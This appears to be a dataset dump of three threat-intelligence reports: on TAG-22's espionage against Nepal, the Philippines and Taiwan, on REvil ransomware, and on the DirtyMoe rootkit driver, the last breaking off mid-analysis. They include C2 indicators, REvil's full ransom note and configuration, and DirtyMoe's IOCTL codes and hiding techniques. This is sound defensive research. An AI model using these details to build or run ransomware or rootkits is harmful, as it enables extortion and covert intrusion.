text
stringlengths 8
115k
|
---|
# Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling
Posted: 8th July 2021
By: INSIKT GROUP
Recorded Future has identified a suspected Chinese state-sponsored group that we track as Threat Activity Group 22 (TAG-22) targeting telecommunications, academia, research and development, and government organizations in Nepal, the Philippines, Taiwan, and more historically, Hong Kong. In this most recent activity, the group likely used compromised GlassFish servers and Cobalt Strike in initial access operations before switching to the bespoke Winnti, ShadowPad, and Spyder backdoors for long-term access using dedicated actor-provisioned command and control infrastructure.
## Background
In September 2020, Recorded Future clients received a report on activity linked to a user of the shared custom backdoors Winnti and ShadowPad. This activity targeted a Hong Kong university and airport. The infrastructure and malware used in these intrusions directly overlap with previous reporting by ESET and NTT Group on Winnti Group activity. There are also numerous infrastructure and malware overlaps with activity recently reported by Avast, which described an installer backdoored with Cobalt Strike found on the official website of MonPass, a major certification authority (CA) in Mongolia. Both the ShadowPad and Winnti backdoors are shared across multiple Chinese activity groups. Winnti in particular has been historically used by both APT41/Barium and APT17 and is commonly associated with activity linked to multiple groups of loosely connected private contractors operating on behalf of China’s Ministry of State Security (MSS). In this case, Insikt Group tracks the cluster of activity described in this and our previous report using the temporary name Threat Activity Group 22 (TAG-22), while we note some historical overlap with activity clustered as APT41 and Barium by FireEye and Microsoft, respectively.
## Victimology and Use of Compromised GlassFish Infrastructure
Insikt Group tracks known infrastructure and domains linked to TAG-22 using a combination of passive DNS data and adversary C2 detection techniques for ShadowPad, Winnti, and the Spyder Backdoor. In June 2021, we identified TAG-22 intrusions targeting the following organizations in Taiwan, Nepal, and the Philippines using Recorded Future Network Traffic Analysis (NTA) data:
- The Industrial Technology Research Institute (ITRI) in Taiwan
- Nepal Telecom
- Department of Information and Communications Technology (The Philippines)
In particular, the targeting of the ITRI is notable due to its role as a technology research and development institution that has set up and incubated multiple Taiwanese technology firms. According to the ITRI’s website, the organization is particularly focused on research and development projects related to smart living, quality health, sustainable environment, and technology, many of which map to development priorities under China’s 14th 5-year plan, previously highlighted by Insikt Group as likely areas of future Chinese economic espionage efforts. In recent years, Chinese groups have targeted multiple organizations across Taiwan’s semiconductor industry to obtain source code, software development kits, and chip designs.
While we believe these four organizations were likely the intended end targets of TAG-22 intrusion activity, we also identified several suspected compromised GlassFish Servers communicating with TAG-22 C2 infrastructure. This is in line with recent NTT reporting, which identified the group exploiting GlassFish Server software version 3.1.2 and below and using the compromised infrastructure to conduct onward intrusion activity, specifically scanning using the Acunetix scanner and deploying the Cobalt Strike offensive security tool (OST). Per NTT researchers, the group likely used this infrastructure in the early stages of intrusions before transitioning to dedicated infrastructure for controlling ShadowPad, Spyder, and Winnti implants. For its dedicated infrastructure, TAG-22 primarily used domains registered via Namecheap and Choopa (Vultr) virtual private servers (VPS) for hosting.
## Nepal Telecom Tradecraft Case Study
By querying the TAG-22 C2 domain vt.livehost[.]live in the Recorded Future Threat Intelligence Platform, we identified links to the Shadowpad and Spyder backdoors that combine Recorded Future C2 detections and passive DNS data.
This allows us to pivot and identify the TAG-22 IP address 139.180.141[.]227, which we have detected being used by the group for both Shadowpad and Spyder command and control.
In addition to identifying additional related malicious infrastructure, using Network Traffic Analysis Exfiltration Events, we were also able to pinpoint specific victims of TAG-22 activity. The screenshot above shows an exfiltration event from the Nepal Telecom IP to the Shadowpad and Spyder backdoor C2 139.180.141[.]227, which hosted the domain vt.livehost[.]live at the time of exfiltration. While the victim IP address is assigned to Nepal Telecom, for telecommunication companies, this is often insufficient for attributing the true victim organization because the majority of infrastructure owned by those entities is leased or provided to its customers. In this case, we can use the new, proprietary VPN and Geographical Information extension alongside other enrichments to try to pinpoint the victim of this activity.
By clicking on the Google Maps view within the VPN and Geographical Information extension for this IP address, we can pinpoint a location and confirm that Nepal Telecom is likely the victim of this activity — the location directly points to Nepal Telecom’s head office in Kathmandu.
## Malware Analysis
Through analyzing the identified TAG-22 operational infrastructure, we identified several Cobalt Strike samples likely used by the group to gain an initial foothold in the target environment. The group also used a custom Cobalt Strike loader the malware authors appear to have called Fishmaster based on a debugging string present within several samples: (C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb). The string “fish_master” was also present across others.
For initial access, the group typically used double extensions for Fishmaster Portable Executable (PE) files to make them appear like Microsoft Office or PDF files:
- 2af96606c285542cb970d50d4740233d2cddf3e0fe165d1989afa29636ea11db - Advertising Cooperation- DUKOU ICU.pdf.exe
- C2df9f77b7c823543a0528a28de3ca7acb2b1d587789abfe40f799282c279f7d - 履歷-王宣韓.docx.exe
In each case, following execution, the user is shown a decoy document, such as the resume shown below for a likely Taiwanese national. In other instances, the group used malicious macros to drop the Fishmaster loader. As both sample lure documents are written in traditional Chinese characters and the CV features a Taiwanese university, and because the group has more widely targeted Taiwan, we believe that Taiwanese organizations were likely the targets for these particular lures.
Many of the Cobalt Strike beacon payloads used by TAG-22 across this campaign were configured using the Backoff malleable C2 profile, which contains the following high-level network traffic characteristics:
- User Agent: “Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"
- HTTP POST URI (multiple choices):
- /windebug/updcheck.php
- /aircanada/dark.php
- /aero2/fly.php
- /windowsxp/updcheck.php
- /hello/flash.php
- HTTP GET URI:
- /updates
All of the configurations contain the watermark 305419896, which is associated with a cracked version of Cobalt Strike.
## Outlook
At this time, Insikt Group continues to track TAG-22 activity as an independent activity cluster that overlaps with the wider group defined as Winnti Group by ESET. TAG-22 uses shared custom backdoors likely unique to Chinese state-sponsored groups, including ShadowPad and Winnti, while also employing open-source or offensive security tools such as Cobalt Strike and Acunetix. TAG-22’s continued use of publicly reported infrastructure is indicative of a group experiencing a high degree of operational success despite a breadth of public reporting regarding its operations. Insikt Group has primarily identified TAG-22 operating within Asia. However, apart from this campaign, the group has a relatively broad targeting scope both geographically and by industry. This wider targeting scope, coupled with the use of the Winnti backdoor, is typical of several suspected MSS contractors, including APT17 and APT41. |
# REvil Ransomware-as-a-Service: An Analysis of a Ransomware Affiliate Operation
By the Intel 471 Malware Intelligence team.
## Summary
REvil, also known as Sodinokibi, is a ransomware family operated as a ransomware-as-a-service (RaaS). Deployments of REvil were first observed in April 2019, where attackers leveraged a vulnerability in Oracle WebLogic servers tracked as CVE-2019-2725. REvil is highly configurable and allows operators to customize its behavior on the infected host. Some of its features include:
- Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453.
- Whitelists files, folders, and extensions from encryption.
- Kills specific processes and services prior to encryption.
- Encrypts files on local and network storage.
- Customizes the name and body of the ransom note, and the contents of the background image.
- Exfiltrates encrypted information on the infected host to remote controllers.
- Uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers.
## Capabilities Overview
- Ransomware.
## Behaviour Overview
- Uses a persistence mechanism.
- Encrypts additional resources.
- Supports privilege escalation.
## Adversary Intelligence
### Developers
REvil ransomware was first advertised on a Russian language cybercrime forum in June 2019. The main actor associated with advertising and promoting REvil ransomware is called Unknown (aka UNKN). The RaaS is operated as an affiliate service, where affiliates spread the malware by acquiring victims, and the REvil operators maintain the malware and payment infrastructure. Affiliates receive 60% to 70% of the ransom payment.
Due to source code and behavior similarities between REvil and GandCrab, it was suggested there might be a connection tying the developers of the two ransomware families together. GandCrab officially "retired" just before REvil appeared in the wild. REvil is maintained actively and is under constant development, just as GandCrab was. The most recent REvil ransomware at the time of this report was version 2.1.
The actor Unknown acknowledged the public reports linking REvil to GandCrab with the following statement:
“We used to be affiliates of the (GandCrab) affiliate program. We bought the source code and started our own business. We developed custom features for our purposes.”
Despite the plausible alibi given by actor Unknown, the evidence suggests that REvil is a continuation of the GandCrab RaaS operation with new software, operated by the same individuals. The actors behind REvil include their master public key in all REvil binaries, allowing them to decrypt the files independently of the affiliates running the campaigns.
### Operators
REvil is a RaaS, where a single group operates and manages the development of the ransomware while access is sold to affiliates. A field in the configuration file named `pid` identifies the affiliate that the sample belongs to. A field in the malware configuration named `sub` identifies affiliate campaigns, not the affiliates themselves. The attacker's public key can identify the same operator when used across multiple samples.
Two prominent users on the Russian language cybercrime forum vouched for Unknown's ransomware service:
- **kerberos** - A moderator on the forum and long-standing cybercriminal.
- **lalartu** - A cybercrime actor known to participate in GandCrab and REvil ransomware affiliate programs.
The actor lalartu's personal information possibly was released for malicious purposes or "doxxed" by an information security researcher known as UnderTheBreach. We have not been able to verify the conclusions asserted in this post.
## Infrastructure
REvil ransomware configurations contain more than 1,000 controllers. The live domains verified were all WordPress websites, likely compromised by the operators or purchased from other cybercriminals. The configuration also contains domain names that were not registered at the time of this report, indicating that most domains present in the configuration are decoys, with only a few real REvil controllers.
## Detection
### Static Detection
Unpacked REvil samples can be detected statically by looking up patterns in the code and in cryptographic functions used by the ransomware.
### Dynamic Detection
Dynamic detection of REvil samples is possible by running Yara signatures on the memory resident image. The ransomware creates the following artifacts:
- A .txt file with a ransom note in each directory encrypted by the ransomware.
- A .bmp image in the temporary directory set as the desktop background after encryption.
- A registry key SOFTWARE present under either HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER.
- An alphanumeric file extension between 5 and 10 characters in length appended to the original extension of an encrypted file.
### Yara Signatures
We decided not to release Yara signatures to avoid burning them and affecting the work of other researchers. However, we will release them to network defenders and infosec professionals upon request.
## Exploits
REvil ransomware exploits a kernel privilege escalation vulnerability in win32k.sys tracked as CVE-2018-8453 to gain SYSTEM privileges on the infected host. If the configuration instructs a sample to execute this exploit, it will allocate executable memory, decrypt the exploit code in the newly allocated region, and invoke it.
## Open Source Intelligence (OSINT)
For more information on REvil, we suggest the following public resources:
- REvil/Sodinokibi Ransomware
- McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us
- Tracking REvil
- Defeating Sodinokibi/REvil String-Obfuscation in Ghidra
## Static Analysis
REvil ransomware incorporates techniques to make static analysis more difficult. Most strings used during execution are decrypted at runtime only when needed. The imports are resolved dynamically from 32-bit hashes and placed into global variables early in execution.
### Hard-coded Strings
Very few strings are hard coded inside REvil ransomware samples. The most interesting are:
- “ServicesActive”: Passed to the OpenSCManagerW API to retrieve active services.
- “expand 32-byte kexpand 16-byte”: Constants used by the Salsa20 symmetric encryption algorithm.
### String Encryption
REvil ransomware decrypts most strings during execution at runtime. The strings are Rivest Cipher 4 (RC4) encrypted and decrypted using a function we renamed to `rc4_decrypt_string`.
## Malware Behavior
The behavior of the following samples was analyzed for this report:
- **Sample**: REvil packed
**SHA256**: 6953d86d09cb8ed34856b56f71421471718ea923cd12c1e72224356756db2ef1
- **Sample**: REvil not packed
**SHA256**: 372c8276ab7cad70ccf296722462d7b8727e8563c0bfe4344184e1bc3afc27fc
- **Sample**: REvil not packed
**SHA256**: ec0c653d5e10fec936dae340bf97c88f153cc0cdf7079632a38a19c876f3c4fe
### Process Execution
During initialization, REvil starts by dynamically resolving the imports it needs. This is accomplished in a loop that reads hard-coded 32-bit values from an array in the .data section, then each value is decoded and resolved to the correct API. REvil creates a global mutual exclusion object (mutex) with a hard-coded name to ensure only a single instance of the ransomware sample is running.
REvil always attempts to run with elevated privileges using two techniques. One technique exploits the CVE-2018-8453 vulnerability to gain SYSTEM privileges. The other technique prompts the user to run the sample as an administrator using ShellExecuteW in an infinite loop until the user agrees.
REvil’s configuration is in JavaScript Object Notation (JSON) and is initially RC4 encrypted. It is stored at the beginning of a portable executable (PE) section named .yhwfq9. The cyclic redundancy check (CRC32) value is calculated and validated for the encrypted configuration.
After decrypting the configuration, REvil parses it using the open-source json-parser C library. The first JSON field checked is `exp`, which indicates whether the CVE-2018-8453 vulnerability should be exploited. If the exploit isn’t executed or fails, REvil resorts to the second technique.
When REvil executes with higher privileges, it starts its main initialization phase, reading the necessary JSON fields into the .data section and initializing registry values inside a new subkey named SOFTWARE. REvil first tries to use the HKEY_LOCAL_MACHINE hive and switches to HKEY_CURRENT_USER only if that fails. The other important task is filling the ransom note template, which is present in base64 inside the configuration field `nbody`.
### Ransom Note Template
```
---=== Welcome. Again. ===---
[+] Whats Happen? [+]
Your files are encrypted, and currently unavailable. You can check it: all files on your computer have extension {EXT}.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you can't return your data (NEVER).
[+] What guarantees? [+]
It's just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. It's not in our interests.
To check the ability of returning files, you should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, it does not matter. But you will lose your time and data, because just we have the private key.
In practice - time is much more valuable than money.
[+] How to get access to the website? [+]
You have two ways:
1) [Recommended] Using a TOR browser!
a) Download and install TOR browser from this site: https://torproject.org/
b) Open our website: hxxp://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion/{UID}
2) If TOR is blocked in your country, try to use VPN! But you can use our secondary website. For this:
a) Open your browser (Chrome, Firefox, Opera, IE, Edge)
b) Open our secondary website: hxxp://decryptor[.]cc/{UID}
Warning: secondary website can be blocked, that's why the first variant is much better and more available.
When you open our website, put the following data in the input form:
Key: {KEY}
Extension name: {EXT}
```
### Ransom Note Warnings
```
!!! DANGER !!!
DON'T try to change files by yourself, DON'T use any third-party software for restoring your data or antivirus solutions - it may entail damage to the private key and, as a result, the loss of all data.
ONE MORE TIME: It's in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please do not interfere.
```
REvil fills this template with a file extension (EXT), a user identifier (UID), and a key (KEY). The extension is generated randomly from alphanumeric characters and is between 5 and 10 characters in length. The user identifier is a hardware ID generated from the main volume’s serial number and the system’s CPU information.
## Configuration
The table below describes each field of the REvil JSON configuration:
| Argument | Description |
|----------|-------------|
| pk | The attacker’s public key encoded in base64. |
| pid | The affiliate ID. In v2.0 and earlier, this was an integer. From 2.1 it became a Bcrypt hash. |
| sub | An integer value. The campaign identifier. |
| dbg | Boolean value that determines if REvil should run in debug mode. |
| et | An integer value specifying the encryption type. |
| spsize | Specifies the number of MBs to skip when the encryption type is 2. |
| wipe | A Boolean value that indicates whether REvil should wipe folders specified in the wfld element. |
| wfld | The folders to be wiped by REvil. |
| wht | Contains three lists of elements that REvil will not encrypt. |
| prc | A list of regular expressions that REvil matches against processes to terminate them. |
| net | If this Boolean value is set to true, REvil communicates with its controllers. |
| dmn | A string of controllers separated by a semicolon. |
| svc | A list of regular expressions to match against running services to stop and delete them. |
| nbody | The template of the ransom note encoded in base64. |
| nname | The file name of the ransom note to be dropped inside encrypted directories. |
| exp | Indicates if REvil should exploit the CVE-2018-8453 vulnerability to escalate privileges. |
| img | The text to be written in the background image encoded in base64. |
| arn | When set to true, REvil persists in the system. |
## Anti-virus (AV) Classifications
| AV | Alias |
|----|-------|
| ALYac | Trojan.Ransom.Sodinokibi |
| Ikarus | Trojan-Ransom.Sodinokibi |
| ClamAV | Win.Ransomware.Sodinokibi |
| ESET-NOD32 | Win32/Filecoder.Sodinokibi |
| Fortinet | W32/Sodinokibi.B!tr.ransom |
| Malwarebytes | Ransom.Sodinokibi |
| Microsoft | Ransom:Win32/Sodinokibi |
| Rising | Ransom.Sodin |
| TrendMicro HouseCall | Win32.SODINOKIB.SMTH |
| ViRobot | Trojan.Win32.Z.Sodinokibi |
| Webroot | W32.Ransom.Sodinokibi | |
# DirtyMoe: Rootkit Driver
**Abstract**
In the first post DirtyMoe: Introduction and General Overview of Modularized Malware, we have described one of the complex and sophisticated malware called DirtyMoe. The main observed roles of the malware are Cryptojacking and DDoS attacks that are still popular. There is no doubt that malware has been released for profit, and all evidence points to Chinese territory. In most cases, the PurpleFox campaign is used to exploit vulnerable systems where the exploit gains the highest privileges and installs the malware via the MSI installer. In short, the installer misuses Windows System Event Notification Service (SENS) for the malware deployment. At the end of the deployment, two processes (workers) execute malicious activities received from well-concealed C&C servers.
As we mentioned in the first post, every good malware must implement a set of protection, anti-forensics, anti-tracking, and anti-debugging techniques. One of the most used techniques for hiding malicious activity is using rootkits. In general, the main goal of the rootkits is to hide itself and other modules of the hosted malware on the kernel layer. The rootkits are potent tools but carry a high risk of being detected because the rootkits work in the kernel-mode, and each critical bug leads to BSoD.
The primary aim of this next article is to analyze rootkit techniques that DirtyMoe uses. The main part of this study examines the functionality of a DirtyMoe driver, aiming to provide complex information about the driver in terms of static and dynamic analysis. The key techniques of the DirtyMoe rootkit can be listed as follows: the driver can hide itself and other malware activities on kernel and user mode. Moreover, the driver can execute commands received from the user-mode under the kernel privileges. Another significant aspect of the driver is an injection of an arbitrary DLL file into targeted processes. Last but not least is the driver’s functionality that censors the file system content. In the same way, we describe the refined routine that deploys the driver into the kernel and which anti-forensic method the malware authors used.
Another essential point of this research is the investigation of the driver’s meta-data, which showed that the driver is code-signed with the certificates that have been stolen and revoked in the past. However, the certificates are widespread in the wild and are misused in other malicious software in the present.
Finally, the last part summarizes the rootkit functionality and draws together the key findings of digital certificates, making a link between DirtyMoe and other malicious software. In addition, we discuss the implementation level and sources of the used rootkit techniques.
## Sample
The subject of this research is a sample with SHA-256:
**AABA7DB353EB9400E3471EAAA1CF0105F6D1FAB0CE63F1A2665C8BA0E8963A05**
The sample is a Windows driver that DirtyMoe drops on the system startup.
**Note:** VirusTotal keeps a record of 44 of 71 AV engines (62%) which detect the samples as malicious. On the other hand, the DirtyMoe DLL file is detected by 86% of registered AVs. Therefore, the detection coverage is sufficient since the driver is dumped from the DLL file.
### Basic Information
- **File Type:** Portable Executable 64
- **File Info:** Microsoft Visual C++ 8.0 (Driver)
- **File Size:** 116.04 KB (118824 bytes)
- **Digital Signature:** Shanghai Yulian Software Technology Co., Ltd. (上海域联软件技术有限公司)
### Imports
The driver imports two libraries: **FltMgr** and **ntoskrnl**.
| Routine | Description |
|-------------------------------------------|-----------------------------------------------------------------------------|
| FltSetCallbackDataDirty | A minifilter driver’s pre or post operation calls the routine to indicate that it has modified the contents of the callback data structure. |
| FltGetRequestorProcessId | Routine returns the process ID for the process requested for a given I/O operation. |
| FltRegisterFilter | FltRegisterFilter registers a minifilter driver. |
| ZwDeleteValueKey | Routines delete, set, query, and open registry entries in kernel-mode. |
| ZwSetValueKey | |
| ZwQueryValueKey | |
| ZwOpenKey | |
| ZwTerminateProcess | Routine terminates a process and all of its threads in kernel-mode. |
| ZwQueryInformationProcess | Retrieves information about the specified process. |
| MmGetSystemRoutineAddress | Returns a pointer to a function specified by a routine parameter. |
| ZwAllocateVirtualMemory | Reserves a range of application-accessible virtual addresses in the specified process in kernel-mode. |
At first glance, the driver looks up kernel routine via **MmGetSystemRoutineAddress()** as a form of obfuscation since the string table contains routine names operating with **VirtualMemory**; e.g., **ZwProtectVirtualMemory()**, **ZwReadVirtualMemory()**, **ZwWriteVirtualMemory()**. The kernel-routine **ZwQueryInformationProcess()** and strings such as **services.exe**, **winlogon.exe** point out that the rootkit probably works with kernel structures of the critical Windows processes.
## DirtyMoe Driver Analysis
The DirtyMoe driver does not execute any specific malware activities. However, it provides a wide scale of rootkit and backdoor techniques. The driver has been designed as a service support system for the DirtyMoe service in the user-mode.
The driver can perform actions originally needed with high privileges, such as writing a file into the system folder, writing to the system registry, killing an arbitrary process, etc. The malware in the user-mode just sends a defined control code and data to the driver, and it provides higher privilege actions.
Further, the malware can use the driver to hide some records helping to mask malicious activities. The driver affects the system registry and can conceal arbitrary keys. Moreover, the system process **services.exe** is patched in its memory, and the driver can exclude arbitrary services from the list of running services. Additionally, the driver modifies the kernel structures recording loaded drivers, so the malware can choose which driver is visible or not. Therefore, the malware is active, but the system and user cannot list the malware records using standard API calls to enumerate the system registry, services, or loaded drivers. The malware can also hide requisite files stored in the file system since the driver implements a mechanism of the minifilter. Consequently, if a user requests a record from the file system, the driver catches this request and can affect the query result that is passed to the user.
The driver consists of 10 main functionalities as follows:
| Function | Description |
|------------------|-----------------------------------------------------------------------------|
| Driver Entry | Routine called by the kernel when the driver is loaded. |
| Start Routine | Is run as a kernel thread restoring the driver configuration from the system registry. |
| Device Control | Processes system-defined I/O control codes (IOCTLs) controlling the driver from the user-mode. |
| Minifilter Driver | Routine completes processing for one or more types of I/O operations; QueryDirectory in this case. In other words, the routine filters folder enumerations. |
| Thread Notification | Routine registers a driver-supplied callback that is notified when a new thread is created. |
| Callback of NTFS Driver | Wraps the original callback of the NTFS driver for **IRP_MJ_CREATE** major function. |
| Registry Hiding | Hook method provides registry key hiding. |
| Service Hiding | Routine hiding a defined service. |
| Driver Hiding | Routine hiding a defined driver. |
| Driver Unload | Routine called by kernel when the driver is unloaded. |
Most of the implemented functionalities are available as public samples on internet forums. The level of programming skills is different for each driver functionality. It seems that the driver author merged the public samples in most cases. Therefore, the driver contains a few bugs and unused code. The driver is still in development, and we will probably find other versions in the wild.
### Driver Entry
The Driver Entry is the first routine that is called by the kernel after driver loading. The driver initializes a large number of global variables for the proper operation of the driver. Firstly, the driver detects the OS version and sets up required offsets for further malicious use. Secondly, the variable for pointing of the driver image is initialized. The driver image is used for hiding a driver. The driver also associates the following major functions:
1. **IRP_MJ_CREATE**, **IRP_MJ_CLOSE** – no interest action,
2. **IRP_MJ_DEVICE_CONTROL** – used for driver configuration and control,
3. **IRP_MJ_SHUTDOWN** – writes malware-defined data into the disk and registry.
The Driver Entry creates a symbolic link to the driver and tries to associate it with other malicious monitoring or filtering callbacks. The first one is a minifilter activated by the **FltRegisterFilter()** method registering the **FltPostOperation()**; it filters access to the system drives and allows it to hide files and directories.
Further, the initialization method swaps a major function **IRP_MJ_CREATE** for **\FileSystem\Ntfs** driver. So, each API call of **CreateFile()** or a kernel-mode function **IoCreateFile()** can be monitored and affected by the malicious **MalNtfsCreatCallback()** callback.
Another Driver Entry method sets a callback method using **PsSetCreateThreadNotifyRoutine()**. The **NotifyRoutine()** monitors a kernel process creation, and the malware can inject malicious code into newly created processes/threads. Finally, the driver tries to restore its configuration from the system registry.
### Start Routine
The Start Routine is run as a kernel system thread created in the Driver Entry routine. The Start Routine writes the driver version into the SYSTEM registry as follows:
- **Key:** HKLM\SYSTEM\CurrentControlSet\Control\WinApi\WinDeviceVer
- **Value:** 20161122
If the following **SOFTWARE** registry key is present, the driver loads artifacts needed for the process injecting:
- **HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Secure**
The last part of Start Routine loads the rest of the necessary entries from the registry.
### Device Control
The device control is a mechanism for controlling a loaded driver. A driver receives the **IRP_MJ_DEVICE_CONTROL** I/O control code (IOCTL) if a user-mode thread calls Win32 API **DeviceIoControl()**. The user-mode application sends **IRP_MJ_DEVICE_CONTROL** directly to a specific device driver. The driver then performs the corresponding operation. Therefore, malicious user-mode applications can control the driver via this mechanism.
The driver supports approx. 60 control codes. We divided the control codes into 3 basic groups: controlling, inserting, and setting.
#### Controlling
There are 9 main control codes invoking driver functionality from the user-mode. The following table summarizes controlling IOCTL that can be sent by malware using the Win32 API.
| IOCTL | Description |
|------------|-----------------------------------------------------------------------------|
| 0x222C80 | The driver accepts other IOCTLs only if the driver is activated. Malware in the user-mode can activate the driver by sending this IOCTL and authorization code equal **0xB6C7C230**. |
| 0x2224C0 | The malware sends data which the driver writes to the system registry. A key, value, and data type are set by Setting control codes. |
| 0x222960 | This IOCTL clears all data stored by the driver. |
| 0x2227EC | If the malware needs to hide a specific driver, the driver adds a specific driver name to the **listBaseDllName** and hides it using Driver Hiding. |
| 0x2227E8 | The driver adds the name of the registry key to the **WinDeviceAddress** list and hides this key using Registry Hiding. |
| 0x2227F0 | The driver hides a given service defined by the name of the DLL image. |
| 0x2227DC | If the malware wants to deactivate the Registry Hiding, the driver restores the original kernel **GetCellRoutine()**. |
| 0x222004 | The malware sends a process ID that wants to terminate. The driver calls kernel function **ZwTerminateProcess()** and terminates the process and all of its threads regardless of malware privileges. |
| 0x2224C8 | The malware sends data which driver writes to the file defined by **filePath** variable. |
#### Inserting
There are 11 control codes inserting items into white/blacklists. The following table summarizes variables and their purpose.
| White/Black List | Variable | Purpose |
|------------------|-------------------------|-------------------------------------------------------------------------|
| Registry HIVE | **WinDeviceAddress** | Defines a list of registry entries that the malware wants to hide in the system. |
| Process Image File Name | **WinDeviceMaker** | Represents a whitelist of processes defined by process image file name. It is used in Callback of NTFS Driver, and grants access to the NTFS file systems. |
| | **WinDeviceMakerB** | Defines a whitelist of processes defined by process image file name. It is used in Callback of NTFS Driver, and grants access to the NTFS file systems. |
| | **WinDeviceMakerOnly** | Specifies a blacklist of processes defined by the process image file name. It is used in Callback of NTFS Driver and refuses access to the NTFS file systems. |
| File names | **WinDeviceName** | Determines a whitelist of files that should be granted access by Callback of NTFS Driver. |
| | **WinDeviceNameB** | Defines a blacklist of files that should be denied access by Callback of NTFS Driver. |
| | **WinDeviceNameOnly** | Defines a blacklist of files that should be denied access by Callback of NTFS Driver. |
| File names (containing number) | **WinDeviceNumber** | Defines a list of files that should be hidden in the system by Minifilter Driver. |
| Process ID | **ListProcessId1** | Defines a list of processes requiring access to NTFS file systems. |
| | **ListProcessId2** | The same purpose as **ListProcessId1**. Additionally, it is used as the whitelist for the registry hiding. |
| Driver names | **listBaseDllName** | Defines a list of drivers that should be hidden in the system. |
| Service names | **listServices** | Specifies a list of services that should be hidden in the system. |
#### Setting
The setting control codes store scalar values as a global variable. The following table summarizes and groups these variables and their purpose.
| Function | Variable | Description |
|------------------|-----------------------------------|-----------------------------------------------------------------------------|
| File Writing | **filename1_for_ShutDown** | Defines a file name and data for the first file written during the driver shutdown. |
| | **data1_for_ShutDown** | |
| | **filename2_for_ShutDown** | Defines a file name and data for the second file written during the driver shutdown. |
| | **data2_for_ShutDown** | |
| Registry Writing | **regKey1_shutdown** | Specifies the first registry key path, value name, data, and type (REG_BINARY, REG_DWORD, REG_SZ, etc.) written during the driver shutdown. |
| | **regValue1_shutdown** | |
| | **regData1_shutdown** | |
| | **regType1** | |
| | **regKey2_shutdown** | Specifies the second registry key path, value name, data, and type (REG_BINARY, REG_DWORD, REG_SZ, etc.) written during the driver shutdown. |
| | **regValue2_shutdown** | |
| | **regData2_shutdown** | |
| | **regType2** | |
| File Data Writing | **filePath** | Determines filename which will be used to write data; see Controlling IOCTL **0x2224C8**. |
| Registry Writing | **regKey** | Specifies registry key path, value name, and type (REG_BINARY, REG_DWORD, REG_SZ, etc.); see Controlling IOCTL **0x2224C0**. |
| | **regValue** | |
| | **regType** | |
| Unknown | **dwWinDevicePathA** | Keeps a path and data for file A. |
| | **dwWinDeviceDataA** | |
| | **dwWinDevicePathB** | Keeps a path and data for file B. |
| | **dwWinDeviceDataB** | |
The following table summarizes variables used for the process injection.
| Function | Variable | Description |
|------------------|-----------------------------------|-----------------------------------------------------------------------------|
| Process to Inject | **dwWinDriverMaker2** | Defines two command-line arguments. If a process with one of the arguments is created, the driver should inject the process. |
| | **dwWinDriverMaker2_2** | |
| | **dwWinDriverMaker1** | Defines two process names that should be injected if the process is created. |
| | **dwWinDriverMaker1_2** | |
| DLL to Inject | **dwWinDriverPath1** | Specifies a file name and data for the process injection defined by **dwWinDriverMaker2** or **dwWinDriverMaker1**. |
| | **dwWinDriverDataA** | |
| | **dwWinDriverPath1_2** | Defines a file name and data for the process injection defined by **dwWinDriverMaker2_2** or **dwWinDriverMaker1_2**. |
| | **dwWinDriverDataA_2** | |
| | **dwWinDriverPath2** | Keeps a file name and data for the process injection defined by **dwWinDriverMaker2** or **dwWinDriverMaker1**. |
| | **dwWinDriverDataB** | |
| | **dwWinDriverPath2_2** | Specifies a file name and data for the process injection defined by **dwWinDriverMaker2_2** or **dwWinDriverMaker1_2**. |
| | **dwWinDriverDataB_2** | |
### Minifilter Driver
The minifilter driver is registered in the Driver Entry routine using the **FltRegisterFilter()** method. One of the method arguments defines configuration (**FLT_REGISTRATION**) and callback methods (**FLT_OPERATION_REGISTRATION**). If the **QueryDirectory** system request is invoked, the malware driver catches this request and processes it by its **FltPostOperation()**.
The **FltPostOperation()** method can modify a result of the **QueryDirectory** operations (IRP). In fact, the malware driver can affect (hide, insert, modify) a directory enumeration. So, some applications in the user-mode may not see the actual image of the requested directory.
The driver affects the **QueryDirectory** results only if a requested process is not present in whitelists. There are two whitelists. The first whitelists (Process ID and File names) cause that the **QueryDirectory** results are not modified if the process ID or process image file name, requesting the given I/O operation (QueryDirectory), is present in the whitelists. It represents malware processes that should have access to the file system without restriction. The further whitelist is called **WinDeviceNumber**, defining a set of suffixes. The **FltPostOperation()** iterates each item of the **QueryDirectory**. If the enumerated item name has a suffix defined in the whitelist, the driver removes the item from the **QueryDirectory** results. It ensures that the whitelisted files are not visible for non-malware processes. So, the driver can easily hide an arbitrary directory/file for the user-mode applications, including **explorer.exe**. The name of the **WinDeviceNumber** whitelist is probably derived from malware file names, e.g., **Ke145057.xsl**, since the suffix is a number.
### Callback of NTFS Driver
When the driver is loaded, the Driver Entry routine modifies the system driver for the NTFS filesystem. The original callback method for the **IRP_MJ_CREATE** major function is replaced by a malicious callback **MalNtfsCreatCallback()**. The malicious callback determines what should gain access and what should not.
The malicious callback is active only if the Minifilter Driver registration has been done and the original callback has been replaced. There are whitelists and one blacklist. The whitelists store information about allowed process image names, process ID, and allowed files. If the process requesting the disk access is whitelisted, then the requested file must also be on the whitelist. It is double protection. The blacklist is focused on processing image names. Therefore, the blacklisted processes are denied access to the file system.
In general, if the malicious callback determines that the requesting process is authorized to access the file system, the driver calls the original **IRP_MJ_CREATE** major function. If not, the driver finishes the request as **STATUS_ACCESS_DENIED**.
### Registry Hiding
